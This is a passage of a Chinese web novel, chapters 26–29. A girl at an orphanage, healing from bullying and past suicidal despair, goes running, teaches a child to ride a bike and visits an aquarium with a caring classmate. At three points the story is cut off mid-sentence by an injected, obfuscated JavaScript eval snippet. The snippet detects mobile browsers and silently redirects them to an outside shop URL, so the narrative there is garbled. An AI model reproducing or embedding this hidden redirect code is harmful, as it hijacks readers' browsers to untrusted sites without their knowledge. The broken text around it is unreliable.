“所以这是一件再正常不过的事情，不用气馁，也不要失望，我们还有一整个寒假的时间呢。” 季希点头：“好。” 临走时，程景逸嘱咐道：“别忘记你答应了要给我当陪练的哦。” “明天早上六点钟，我会在福利院门口等你。就不给你打电话提供叫醒服务了哦，你可千万不要睡过头，留我一个人在冷风里。” 26. 愿卿磊磊沧浪行 当天晚上回到福利院的宿舍后，季希在书桌前写寒假作业。 敲门声响起，季希起身开门。 门外露出中年女人的一张温柔脸庞，季希高兴道：“院长妈妈！” “小希，”季莉雅瞧见季希身后书桌上摆着的作业，她将手上端着的热牛奶递给季希，关心道，“学习也别太劳累了，喝点牛奶，早点儿睡觉。” “好的。”季希乖巧点头。 季莉雅：“今天和同学出去玩开心吗？” “开心。”季希点头，和季莉雅报备道，“院长妈妈，今天我们去云苍山登山，还看见了日出。” “平常学习压力大，多出去转转也好。”季莉雅抚摸着季希柔顺的头发，叹道，“你这孩子，这半年来确实也多灾多难的……咳咳……” 说话间，季莉雅咳嗽起来。 见季莉雅十分难受的样子，季希连忙将牛奶放在一旁，上前扶住季莉雅，轻拍她的背部，帮她顺气。 季莉雅缓了一阵子，感觉好些，见季希一脸忧虑和担心，她摆手安慰道：“没事，你院长妈妈只是年纪大了，咳一咳就好了。” 季希：“院长妈妈，您去看医生了吗？” “看了，吃着药呢。不过这世上的病，有的医得好，有的却医不好。”季莉雅轻叹一声，见季希面色懵懂，她摇头笑道，“你看我，你还小，我和你说这些做什么。小希，你一定要好好读书。我能力有限，能看顾着你们这些孩子的地方也就在这小小的福利院内。未来的路，你们都要靠你们自己去闯。” 季希：“我知道的。” 季莉雅：“所以，不管遇到什么困难，都想开一些，没有什么比活着更重要。” 季希低头不语。 季莉雅仔细端详季希的脸，说道：“我瞧着你这几天比前段时间情绪要高一些，饭也吃的多些。这很好。” “多和与你志同道合且聊得来的同学交朋友。你不喜欢、也看不惯的那些人，多避着些。有什么不开心的事情，别去想它。最后都能熬过去的。” “人活在世上，总会遇到不顺心的事，甚至多多少少都会遇到几个大坎儿。这时候，我们就要想得开，会给自己找乐子、开解自己。这样才不会钻进死胡同，陷在一个泥坑里走不出去。” 季希：“院长妈妈，您这话和我同学说得有点儿异曲同工之妙。今天我同学带我去看日出，其实也是想带着我找乐子、找快乐。” 突然想起什么，她说道：“对了院长妈妈，我同学还说让我和他一起锻炼身体，每天早上一起跑步，可以吗？” “当然可以，运动也是排解情绪的一种方式，这对你很有好处。”季莉雅赞道，“小希，你这回交的朋友是真心为着你好。” 季希轻轻抿唇，不知道该怎么接话。 季莉雅看向腕间的手表：“时候不早了，其他孩子也等着喝牛奶呢，你也别学到太晚，早点休息。”说罢，她便推着餐车向下一个房间走去。 *** 寒假第二天，季希早早地起床洗漱。 还差五分钟到六点的时候，季希站在福利院门口。 过了大概两三分钟，一辆车驶来。 瞧见副驾驶座位上坐着的程景逸，季希迎过去。 后座的车门却先被拉开，从车上走下来一个女孩儿，瞧着十来岁模样，明眸皓齿，和程景逸的眉眼是如出一辙的俊秀。 程景逸和司机交待了几句才下车。 他目送程家司机将车开走，扭头便看见季希和程景心两个人大眼瞪小眼地面对面站着。 程景逸走到二人面前，笑着对季希介绍道：“季希，这是我妹妹，程景心。” 原来这就是程景逸昨天提到的正在读小学的妹妹。 虽然她刚刚已经有了猜测，只是当这一点现在得到了程景逸的证实后，季希仍然有些惊讶。 程景逸愿意把妹妹带出来和她认识，这是否说明，她已经被程景逸归纳进可以信任的人当中？ “你好呀，景欣。”季希友好地和程景心打招呼，“是景色欣欣向荣的那个景欣吗？” “才不是的哦，姐姐，”程景心纠正道，“是草木有意、风景有心的意思。” “好听的名字，美丽的寓意，”季希赞叹道，“景心，你的名字和你的人一样美丽。你多大了，读几年级啦？” “我已经读五年级了，就在南庐市江秀第一小学读书。”程景心，“姐姐你叫什么名字呢？” 季希：“我叫季希，季节的季，希望的希。” “季希？”程景心，“季姐姐，你和我哥是什么关系？” “什么‘什么关系’？”季希有点懵。 她向程景逸投去一瞥，然后看向程景心，斟酌答道：“我和你哥都是一中的学生，我们是同学。” 程景心：“我哥还从来没有带我出来见过女同学呢……” 季希：“是吗？” 程景心点头。 程景逸无奈地看了程景心一眼：“难道不是你今早死活缠着我要我带你出来的吗？” 他这个妹妹人小鬼大，今天不知道为什么，除了上学以外从来都不早起的她，竟然早早起床，还非要和他一道出门。 拗不过妹妹的程景逸只得把程景心捎带上。 程景心：“我要不跟着你，我都还不知道你是要来秘密约会女同学！” 程景逸比程景心高出一大截，他轻松扣住程景心的脖子，装作要掐她的模样，其实两只手都没使劲儿：“小丫头知道些什么就在这儿瞎说。” 程景心逃出程景逸的魔爪，冲着哥哥扮起鬼脸。 程景逸一边推着程景心往前走、一边耐心地解释道：“出门前不是专门让你换了运动鞋？我们这是早上出来晨练的。” 程景心：“哦。是因为平风哥哥回老家了，所以你才换了个朋友一起锻炼吗？” 程景逸：“你可真是个大聪明。” 程景心：“那是。不过哥哥，其实你可以让我陪你一起运动啊？” 程景逸笑话妹妹：“你？让你假期早起，那简直比登天还难……” 程景心不满道：“我今天不就早起了。” 程景逸：“这倒是。我们景心今天有进步，哥哥给你竖一个大拇指。” 季希看着程家兄妹二人亲昵的对话，心中止不住地艳羡。 家人之间、兄弟姐妹之间，就是这样的吗？ 一时看呆，她的步伐便慢下来。 没有听见季希的声音，程景逸环顾一圈，这才发觉季希没跟上来。 他扭头，朝着身后几步之外的季希招手：“走呀季希，愣在那里做什么？” “噢。”季希回神，快步跟上程家兄妹二人。 待季希走过来，程景逸担心妹妹刚刚的话让季希不快，他连忙道：“不好意思，我这妹妹在家里口无遮拦惯了。我爸、我哥还有我确实都比较宠她，所以就养成了她说话比较直的性格。但是她没有恶意的。她要是说了什么让你不高兴的，你千万别往心里去。” 说着，程景逸拍了拍妹妹的肩膀：“景心，还不快点和你季姐姐道歉。你季姐姐是个温柔沉静的性子，可不像你这么顽皮淘气，泼猴儿似的厚脸皮。” 季希的表情在刚刚程景逸说出对她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577977|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 描述时便有些绷不住。 她温柔沉静？ 程景逸怕是忘记她上次拿着刀要冲上天台的样子了…… 季希看向程景逸，恰好对上少年略带歉意的眼神，她笑笑：“没事的，你多虑了。” 程景心倒是很听哥哥的话，她转身正对着季希郑重道：“季姐姐对不起，我刚刚都是和我哥开玩笑啦。我知道你们是来干正事的，锻炼身体可是人生大事，所以我决定和你们一起晨练。” 季希笑道：“那正好，有你这个开心果在，跑步都没有那么枯燥乏味了。” 程景逸：“景心，你既然夸下这个海口，那哥哥接下来每天早上可都是要压着你出来锻炼的，你到时候可不能赖床啊。” 程景心：“知道了，小哥，你有时候比大哥还啰嗦。” 程景逸：“还不是怕某人到时候撒娇耍赖皮。” 季希：“你们还有个大哥？” “对，”程景逸看向季希，见她一脸惊讶，提醒道，“我之前不是给过你三个号码，其中就有我大哥的号码。你如果找不到我，其他电话也打不通的话，你可以给我大哥打电话。” “好。”季希有点不好意思，她指着前面的岔路口问程景逸，“我们现在是去哪里？” “右拐。”程景逸，“我查了，北澜公园就在那边不远处。好在虽然云苍山下雪了，但是市区没下雪。只要天气还可以，年前这些天，我们早上都可以去北澜公园晨跑。你觉得呢？” 季希：“我觉得挺好。几个人一起互相监督，确实更容易坚持下来。” 于是在这个冬日的清晨，程景逸带着妹妹和季希进行了拉伸练习之后，便一起沿着南庐市江秀区北澜公园的环湖跑道开始了晨跑。 三人一起跑步的情况下，为着安全着想，程景逸让两个姑娘跑在前面，他在两人身后，以防出现突发情况。 虽然这会儿有些早，但是城市公园里已经有一些年轻人在锻炼身体，甚至广场上还有一群大爷大妈放着音乐在练太极拳和八段锦。 等程景心和季希都有些气喘吁吁地表示实在是跑不动了时，程景逸带着两人跟在大爷大妈后面练起太极拳。 程景心好像之前就学过，打得有模有样。 季希现学，经常跟不上，便被程景逸拉到一旁单独补课。 季希动作做得歪歪扭扭，她瞧着程景心熟练的姿态，赞道：“景心好厉害。” 程景逸一边纠正季希的动作，一边道：“我和妹妹小时候跟在爷爷身边学的，我爷爷身手很好。” “原来是家学渊源。”季希，“程景逸，这么看你打架应该很不错？” “倒是还行，”程景逸轻咳，“改天教你几招用来防身，危急时刻一招制敌。” 季希：“择日不如撞日，要不就今天？” 于是，当程景心认认真真地打着太极拳时，转身却发现她小哥正在给季姐姐开小灶，进行一对一防身术教学。 程景心原本求夸奖、求表扬的表情垮了下去。 等老头儿老太太都解散回去吃早饭后，程景逸带着两人做完拉伸，这才一齐沿着湖边小径朝公园外走去。 走到一处小桥边，程景心嘟着嘴，拽着哥哥想要到桥上玩。 虽然原本应该沿着另一条路走，但是见妹妹这么想玩，程景逸看向季希。 季希欣然点头。 程景逸被妹妹拉着冲到桥上后，却发现季希落在后面并不上桥，只是远远地站在一棵树下等二人。 联想到刚刚环着湖跑步时季希也是离水特别远，甚至她的目光也在刻意地避开水面，程景逸心里升起一种猜想。 27. 愿卿磊磊沧浪行 从桥上下来，程景逸带着妹妹来找季希。 有小朋友在大人的保护下骑着小自行车从几人面前行过，程景心眼睛闪亮，她拉住程景逸的袖子：“哥，你之前答应我的，要教我骑自行车。” 程景逸：“可以呀，家里有自行车，空闲时候我可以教你。” 程景心：“今天下午你教我。” 程景逸正要答应，突然想起来一件事：“哥哥今天下午有事情，明天可以吗？” 程景心：“明天我就要开始上舞蹈集训了，就今天下午有时间。” 程景逸商量道：“那要不我今天晚上教你？” 程景心皱着一张脸，情绪明显有些低落。 季希见妹妹有些不开心，便笑道：“我今天下午有时间，如果妹妹愿意的话，我也可以教妹妹骑自行车。” 程景逸：“可以吗季希，会不会太麻烦你了？” 季希：“有什么麻烦的。” 她很高兴自己也有能对程景逸给予帮助的时候。 这说明，她也不是那么没用。 这时三人恰好走到北澜公园门口，程家司机已经在一旁等着。 程景逸对季希道：“那就下午两点半，你和景心在这儿见面？她有自行车，只是一直没骑，下午她把自行车带来。我下午有点事情，就不过来了。我妹妹就交给你啦，咱们明早还是六点钟在福利院门口见。” 季希：“交给我你放心。不过以后早上咱们其实可以都直接在公园门口集合的，也免得你们陪着我多走一段路。” 程景逸眨眨眼：“也好，其实我也想多睡一会儿。” 回到家里，程景心跟着哥哥到他房间门口。 程景逸此时正在思索着事情。 他感觉季希好像有些怕水。 具体表现就是，季希在锻炼期间离湖水特别远，不太敢靠近湖泊这种大的水域，甚至连桥也不敢上。 这是天生的，还是因为某些特殊的缘故呢？ 这般思考着，电光火石之间，程景逸猝然想起，他前段时间不是才从学校的人工湖里救过溺水的季希吗？ 会不会是这次经历使得季希对湖水产生了阴影？ 程景逸的眼神中闪过不忍，因为这个解释成立的可能性很大，。 如此想着，程景逸转身，准备关上自己房间的门。 这时他才发现，妹妹还跟在他身后。 程景逸弯下腰替妹妹整理了一下稍显凌乱的头发，温柔道：“景心，你回房间换件衣服，待会儿下楼吃饭。” 程景心：”哦。“ 程景逸：“那你怎么还不去，有事啊？” 他让妹妹进来慢慢说。 程景心犹豫半天，在程景逸鼓励的眼神下问道：“哥，你老实说，你是不是在和季姐姐谈恋爱？” 程景逸冷不丁听到妹妹的提问，差点被自己的口水呛到。 他点点程景心的额头：“你这个小脑袋瓜成天想的都是什么乱七八糟的东西啊，你是不是电视剧看太多了？” 程景心提出心中的疑问：“不然的话，你为什么这么关注季姐姐？” 程景逸一脸莫名：“我怎么关注她了？” 程景心控诉道：“哥，你今天明明陪着我在桥上玩，目光却总是飘向桥下的季姐姐……而且你还把爷爷教你的招式教给她……” 程景逸摇头道：“你还小，有些事你不知道。你季姐姐在学校被人欺负了，我得教她一些自保的招数。” 程景心懵懵懂懂：“有人找季姐姐打架吗？” 程景逸：“对。” 程景心：“那些人为什么找季姐姐打架呢？” “和我有一些关系，所以我不能视而不见。”程景逸问妹妹，“景心，你知道你哥哥我的人生信条是什么吗？” “这可难不倒我，哥你成天在我耳边念叨，我的耳朵都要起茧子了，”程景心大声道，“你，我小哥，人生信条就是——行侠仗义，扶助弱小。” 程景逸抚掌而笑：“是呀，这不就对了。景心，你说哥哥应不应该帮着你季姐姐一些？” 程景心点头：“好吧，既然这样，我就不计较你对季姐姐的特殊对待了。不过，季姐姐是不是不太开心呀？” 程景逸：“怎么说？” 程景心：“我感觉她的情绪一直都不是很高，即便是笑着，情绪也有些低沉，仿佛是为了配合我们才表现出笑容。” “你个小机灵鬼，”程景逸揉揉程景心的小脑袋，“你季姐姐确实不太开心。” 程景心：“是因为和人打架打输了但是却不能哭鼻子吗？” 程景逸倒没想到这一层：“细细一琢磨，还真有可能。” 季希孤身一人，在学校受欺负以后能找谁哭诉呢？ 程景逸突然想起，那天他在公路上找到被绑架后独自逃亡的季希。将季希送回福利院后，在福利院楼下，季希就曾经无声哭泣。 程景心：“如果是我，我先来找哥哥你大哭一场，然后就让哥哥你去替我撑腰。” 回忆起妹妹撕心裂肺、穿透房顶的哭声，程景逸一阵脑壳疼。 “哥哥，我支持你给季姐姐撑腰。”程景心说道。 程景逸：“为什么？我看你刚刚还因为我单独教你季姐姐而不开心呢。” “我这不是以为她要抢我哥嘛……”程景心嘟囔道，瞧见小哥戏谑的眼神，程景心不好意思道，“好啦，哥，你不是说了你这是行侠仗义、扶助弱小嘛，我支持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577978|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你！我也想让季姐姐开心一些。” 程景逸：“嗯，那你下午去跟季姐姐学骑自行车的时候不准发脾气啊，多说点好玩的事情逗你季姐姐开心。” 程景心：“你不去吗？” 程景逸：“跟你说了，我有事情。” 程景心：“哥，我今天这么听话，有什么奖励吗？” 程景逸：“你想干什么？” 程景心一脸期待：“过几天我想和同学一起去滑雪。” 程景逸：“可以。” 程景心：“太好啦，谢谢哥！你放心，今天我绝对乖乖的，保证让季姐姐开开心心。” *** 下午，程景逸从医院走出来时，神情不太好。 医生说，有些人确实会因为溺水经历而生出恐水心理。 季希很有可能就是这种情况。 思来想去，程景逸觉得，消除恐惧最好的办法就是要有人带着她直面恐惧。 他皱着眉思考许久，决定教季希游泳。 他想把季希因为霸凌而受到的所有伤害都降到最小，甚至最终消除这些伤害。 要完成这个任务，一方面是要带季希找到快乐，让她走出悲伤和愤怒。 另一发面则是要帮助季希克服因为溺水而对水产生的恐惧，最起码，他要让季希不再怕水。 但是一般而言，任何事情都很难一蹴而就。 通常需要采用循序渐进的迂回方法才能产生效果。 想到这里，程景逸快速回家，根据这一新发现为季希重新制定帮助计划。 晚上，程景心回来后很兴奋：“哥，我学会自行车了！季姐姐夸我聪明、运动细胞好，我一下午就学会了！” 程景逸上下打量妹妹，见她上衣和裤子上都粘有灰尘，问道：“摔跤了吗？” 程景心倒了杯水，一边喝，一边随口答道：“学骑车哪有不摔跤的，不过还好，不太疼。季姐姐一直扶着我呢。” 程景逸：“今天下午开心吗？” 程景心：“开心，我竟然一下午就学会骑车了，超开心！” “开心就好。”程景逸拿出一个早就准备好的药盒递给程景心，叮嘱道，“回房间好好洗个澡，然后把这个药喷在磕碰到的地方，早点儿休息。” 程景心：“嗯！” *** 寒假的第三天清晨。 三人在北澜公园门口集合，一起到环湖跑道晨跑。 程景逸有意跑在靠湖边的一侧，让季希和程景心沿着种满树的另一侧跑。 今天，季希的太极拳与昨天相比，有很大进步。 几人结束晨练，走出北澜公园时，程景逸忽地叫住季希：“你……下午有安排吗？” 28. 愿卿磊磊沧浪行 季希：“我最近的安排就是写寒假作业，复习上学期的内容，预习下学期的课本，其他就没什么事儿了。” 程景逸：“那下午我们一起去海洋馆？” 季希下意识想拒绝。 她不愿意去水多的地方。 不过看着程景逸期待的眼神，她还是点点头，没有说出拒绝的话。 程景逸：“那下午我来接你。” “不用啦，”季希，“我直接坐车过去，从这边坐39路公交，在南庐海洋馆那一站下车，也很方便的。” 程景心凑过来：“季姐姐，你下午玩得开心哦，我就不能和你们一起去玩了。” 季希温柔问道：“为什么呀，我们小景心为什么不能和姐姐一起去海洋馆玩耍呢？” 程景心苦着脸：“我要去上舞蹈课。以后我除了每天早上来跑步的时间以外，都不能和姐姐你一起出去玩了……” 季希抱了抱小姑娘：“没事的景心，以后还有机会的。到时候姐姐带你骑自行车兜风。” 程景心：“好！” 下午，程景逸和季希在南庐海洋馆碰面。 他们跟随着人群在各个展区游览。 姿态各异的水母在灯光的映照下神秘优雅地律动。 毛茸茸的企鹅宝宝憨态可掬地在雪地里摇摆行走。 海豹们一脸安详地展示着奇形怪状的睡姿。 巨大无比的鲸鲨在深水王国中旁若无人地自在游弋。 海洋生物们呈现出千奇百怪、光怪陆离的样貌，在水中恣意地生长，诡异而又和谐。 之后，两人乘坐扶梯到达深海展区，站在传送带上进入海底观光隧道。 仿若有海洋飘浮在人们头顶，置身其中的震撼难以言喻。 海龟划桨一般摆动着四肢缓缓从身旁经过。 成群结队的鱼儿畅游水中、迎面而来。 巨大的鲨鱼露着尖利的牙齿在头顶威武巡游。 湛蓝水幕中，光线折射而下，那是一片蔚为壮观的海底世界。 季希和程景逸逛得很快。 全部展馆都看完以后，程景逸见时间还早，便提议再到鲸鲨馆拍几张照片。 鲸鲨馆内，程景逸注意到季希一派轻松的神情，他松了口气，说道：“季希你看，水其实并不可怕。” 季希一时没有反应过来：“嗯？” 瞧着程景逸关心的眼睛，电光火石之间，仿若心有灵犀一般，季希好像突然明白了少年所言为何。 她不可置信道：“你发现我怕水了，你是怎么看出来的？” 面对季希疑惑的表情，程景逸解释道：“你早上在北澜公园跑步时总是离水远远的，而且昨天宁肯在桥下等我和景心，都不愿意上桥。” “联想到前段时间的事情，我就有了一点猜测。” 季希不由得感慨道：“程景逸，你真的很细心。其实我以前不怕水的。只是，自从校庆那天我在咱们学校人工湖里溺水之后，不知道为什么，我就不能看大的水流或者大面积的水域。” 程景逸：“看了会怎么样？” 季希打了个寒颤：“会从心底不由自主地产生一种深深的恐惧、无力与绝望。” 程景逸：“那在这里呢？在海洋馆里，你会害怕吗？” “刚开始我是有顾虑的，只是没想到，来了之后发现其实还好。”季希环顾四周喧嚷的人群，她摇摇头，说道，“可能因为这里毕竟不是直接和水接触，而是隔了层玻璃，再加上游人很多，所以我倒不是很害怕。” 程景逸点头：“那就好。” 站在鲸鲨馆巨大的水族箱前，季希突然想到庄子《逍遥游》的开篇，便问立于身侧的程景逸：“你还记得《逍遥游》开篇是怎么讲的吗？” 程景逸回忆一番，背诵道：“北冥有鱼，其名为鲲。鲲之大，不知其几千里也；化而为鸟，其名为鹏。鹏之背，不知其几千里也；怒而飞，其翼若垂天之云。” 季希的目光跟随着水中漫游的鲸鲨移动，她轻轻低语道：“我曾经在电视里看见过蓝鲸，据说蓝鲸是世界上最大的动物。” “程景逸你瞧，这鲸鲨于我们而言，已经可以说是庞然大物了。可是蓝鲸比鲸鲨更大。如果能在海上亲眼见到，不知道那又该是怎样的震撼。” “而鲲鹏比蓝鲸更大。虽说鲲鹏只存在于神话中，但是想象一下，以庄子所描述的鲲鹏之大，当鲲化为鹏时，又该是怎样的遮天蔽日、气势磅礴，那必然是一番撼天动地的壮丽景象。” 程景逸细细琢磨着季希的话。 他将目光落在季希充满神往的面容上，倏然之间，程景逸眼神一亮。 他惊喜地抓住季希的肩膀，激动摇晃，说道：“季希，你对这个世界有期待了！” 季希茫然问道：“你说什么？” 程景逸察觉到自己有些过分激动，他松开搭在季希肩膀上的手，不好意思地挠挠头，笑着问道：“季希，你现在感觉找回快乐了吗？” 闻言，季希仔细回味和思考着自己现在的状态，半晌，她认真道：“程景逸，我不能瞒你，其实我仍然不太快乐。” 见程景逸面上露出失望的神情，并且还有些泄气的模样，季希连忙补充道：“不过……” 程景逸追问道：“不过什么？” “你刚刚那句话启发了我，我发觉，我的心态确实发生了细微的转变。”季希惊奇地看向程景逸，“这么细微的变化，如果不是你的提醒，我可能真的不会发觉。” 季希不由得赞叹道：“程景逸，你真的很敏锐，能够发现寻常人难以察觉的点。” 程景逸：“所以季希，你真的对这个世界抱有期待了！” “可以这么说。”季希点头，摸着下巴思考道，“仔细想来，对于今天来海洋馆和前天去云苍山这两次经历，我的感觉虽然相似，但是其中又存在着细微的不同。” 程景逸：“哦？说来听听。” 季希：“大自然的神奇之处就在于，既孕育了品类众多的生物，又创造了美不胜收的盛景。这些都能给我带来震撼与能量。” 轻顿一下，季希斟酌着字眼，继续说道：“只是，在云苍山的时候，我会有一种这些美好与我毫无关联的感觉。所以我当时才会认为，尽管大自然很美好，但我的生命仍旧只是一片贫瘠的荒漠。” “我以前的行为，无论是满心绝望地放弃自己的生命，还是拿着刀不计后果地报复作恶者，都是在这样的心态下产生的。” “我感觉自己和这个世界毫无联系。” “我始终是孤身一人、漂泊无依的。” “所以当我因外界的暴击而心灰意冷、万念俱灰时，我意志消沉地想要干脆就在火场中化成灰烬，或者就那样溺死在湖水中，悄无声息地放弃自己的生命。” “因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577979|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为没有一个东西能让我觉得，我是属于这个世界的。” “我所遭遇的一切好像都在告诉我，我是无关紧要的，我是多余的。” “直到你告诉我，生命的存在本身就是其价值所在。” “程景逸，你可能不知道，你的这个观念对我而言意义有多么重大。” “这让我觉得，即便我只是这个世界上最微不足道的一粒尘埃，无人在意，但我也是值得存在的。” “只是，尽管我不再否定自己存在的价值，我却再也无法忍下去。” “哪怕我曾经是那么的想要通过读书，来获得一份将来能够在社会上自食其力的技能，以此求一个未来。” “我看不到一个属于我的未来，也根本不想要任何未来。” “我只想要在当下用怒火燃烧自己，去求一个不一定能求得的公道。” 这一刻，程景逸看着季希勉力微笑着的脸，却只感到浓浓的伤感，不由得出声道：“季希……” “不过就在刚刚，看着眼前这些来自深邃海洋的神秘生灵，”季希将目光投向水族箱里的鲸鲨，“想到语文课本中提到的只存在于古代神话中的鲲鹏，我蓦然地感受到了这个世界的广阔与博大。” “我从小就生活在江省南庐市，生命里最常出现的两个地方是学校的教学楼与孤儿院小小的庭院。” “我压根儿就没有出过南庐市，我的这一方天地就只有这么一点点。” “可就在看着这片水域的不知道哪一个瞬间，我心中突然涌现出对这个世界的无限好奇。” “我想知道，真正的世界究竟是怎样的。我想看看，这世上的人是否都同我现在遇到的这些人一样。” “我希望有一天，我能够见到更广阔的天地，能够融入更博大的世界。” “所以即便我现在仍旧不太快乐，但是就是因为这样的一点好奇和一点探索的念头，让我和这个世界仿佛产生了联系。” “大自然这广袤的美好，通过这一丝小小的联系，给我荒芜的内心里带来了一点点光亮。” “就像是暗夜戈壁上高悬的星星，也是唯一的一颗星星。虽然微弱，却让这片贫瘠的土地开始显露生机。” 季希的眼中浮现出一抹奇异的神采，她看向身侧的人：“程景逸，你能明白我的意思吗？” 程景逸沉默着，他还在消化刚刚听到的话语。 见程景逸似乎不解，季希兴奋解释起来。 “这就是说，我不再仅仅只是一个彷如断梗浮萍一般漂泊在这人世间的生命。我在这个世界找到了锚点，一个属于我自己的锚点！” “我突然有了一种信念，尽管我的生命现在仍然十分贫瘠，但是在这个锚点的牵引下，在这颗星星的微芒下，我已经洒下了一颗种子。” “将来，这颗种子会发芽。” “我终将浇灌出属于我自己的累累硕果。” 听到这番话，程景逸精神大振，他张着嘴似乎想说什么，却因为不知如何表达，只能保持沉默，看着季希陷入深思。 季希感慨地仰望着水族箱内的鲸鲨，真诚地为这片蔚蓝水域里的生物们祈祷：“感谢这些来自海洋的神秘生灵帮助我想通这一点，这对我很重要。祝愿你们有朝一日能够重回大海。” “咔嚓”一声响起，程景逸和季希同时回头，发现有一个留着长发的年轻男子拿着相机正对着他们。 29. 愿卿磊磊沧浪行 那人见二人发现他，放下相机，主动上前：“你们好，我是南庐大学摄影系的学生，我姓张。” “刚刚这个画面实在太美好了——少女仰面看着水族箱里的鲸鲨，身旁的少年静静看着少女的侧颜。” “我本来是在拍鲸鲨的，见到这一幕，忍不住就摁下快门拍了下来。” “实在是对不起，我不是故意要偷拍的。” “你们需要这张照片吗？可以给我一个地址，等我洗出来之后寄给你们。” 程景逸见季希目不转睛地盯着此人相机上二人的同框照片，心里猜测她应该很喜欢这张照片。 顾虑着季希也许不愿意在陌生人面前提到孤儿院的地址，程景逸在季希开口前抢着对这位摄影系的张同学说道：“谢谢你帮我们捕捉到这么唯美的画面，很有纪念意义。” “我还真挺想保存的，可以请你直接邮寄给我吗，到时候我转交给她就可以。” 季希点头附和。 张同学从背包里取出纸笔递给程景逸：“你可以把地址写在这上面。最好留一个电话，等相片洗出来后我联系你。” 程景逸快速写好，将本子和笔还给张同学，又问道：“方便的话，可以把底片也一起寄给我吗？” “这样的话，哪怕以后照片丢了或者被损坏了，我还可以洗新的。” 张同学：“当然可以。” 程景逸：“谢谢你，我给张哥你一点费用，算是我从你这里买的照片吧，如何？”说着他从兜里拿出钱包。 张同学止住程景逸的动作，轻笑道：“小同学你客气了，这张相片算我送给你们的，就致这青涩又美好的青春。” 他的语气中带着缅怀，似乎透过程景逸和季希看到了他曾经的年少时光。 程景逸最终还是将钱塞给了这位张哥，拜托张哥一定要记得把照片寄给他们。 冬日的天黑得早。 二人走出海洋馆时，天幕已经有些发灰。 程景逸陪着季希一起走到斑马线处。 信号灯从绿色变成红色，汽车川流不息。 他们有一搭没一搭地聊着天。 季希只顾着看程景逸，没注意到旁边有车拐出来，程景逸眼疾手快地将季希朝自己身边一拽。 发现汽车从离自己很近的地方擦过，季希惊魂未定：“好险。” 程景逸摇摇头，走到季希身前，将她挡在自己身后：“这会儿车多，你站我后面。” 季希看着程景逸拉着她袖口的手，不由得失笑道：“我又不是三岁小孩子，还需要手拉着手过马路吗。” 程景逸一僵，这才注意到自己一直抓着季希的袖子。 他连忙松开手，解释道：“刚刚有点着急，真是下意识的动作。可能我从小带着景心过马路，形成习惯了。” 恰好这时绿灯亮起，很多行人在马路上穿行。 程景逸想要拉着季希过马路，手抬起来，突然又觉得这样有些不妥，毕竟季希不是景心。 他只得扭头对季希叮嘱道：“跟紧我哦。” 两人穿过马路在公交车站等车。 季希好奇道：“程景逸，你是不是常常不自觉地把我当成景心呀？” 程景逸认真道：“你是你，景心是景心，你们两个都是独一无二的个体，我当然不会把你当成景心。” “只是我照顾妹妹已经形成习惯了，有时候会无意识地把这些习惯带出来。” 季希感慨：“有个兄弟姐妹真好……” 这时候，39路公交车驶来。 季希跟程景逸告别：“那我先走啦，你也早点回家吧，注意安全。” 程景逸没有说话，却跟着季希一起上了车。 季希在后排找到好几个空位，刚坐下，身边的空位有人落座，她抬头，瞧见少年的脸庞，惊讶道：“程景逸，你怎么也上这趟车？” 程景逸挑眉，云淡风轻道：“顺路。” 季希：“我还以为你是在陪我等车，之后会有司机接你呢。说起来，我还不知道你家住哪里。” 程景逸：“离你住的地方不远，所以才顺路嘛。” 季希不自觉地勾起嘴角，笑起来。 下车时，天色已经完全暗下来，华灯初上。 季希看着和自己一起下车的程景逸，纳闷道：“你怎么在这一站就下了？” 程景逸无所谓地笑笑：“我送你到福利院门口，然后再来等下一趟车就是了。” 季希狐疑道：“你不会是专门送我回来的吧？” 程景逸抿着唇不答。 他从怀里拿出两个小挂件：“看看，这是什么？” 季希接过来：“哇，这上面是鲸鲨吗？” 程景逸：“对，我看你好像最喜欢鲸鲨馆，所以就想送给你这个，你可以把钥匙挂在上面。” 季希恍然大悟：“你刚刚原来不是去卫生间呀。” 程景逸摸着头不语，上扬的嘴角却掩饰不住他的好心情。 季希拿了一个握在掌心，将另一个递还给程景逸：“谢谢你，不过我只要一个就好啦，这个你送给景心呗。” 程景逸想了想，接过这个挂件，放进兜里：“好。” 等季希走进福利院，程景逸拿出手机发了个信息。 待他沿着公路继续往前走了一小段距离后，一辆车从旁边一个停车场里驶出，稳稳停在他身前。 “久等了。”程景逸上车后，思维总是不自觉地飘到下午和季希在鲸鲨馆时的画面。 他从兜里拿出刚刚季希还给他的鲸鲨挂件，眼前的鲸鲨与脑海里说着找到了锚点的女孩儿渐渐重合。 静默半晌，程景逸拿出家里的钥匙，取下原来的钥匙扣，将钥匙挂在了这个鲸鲨挂件上。 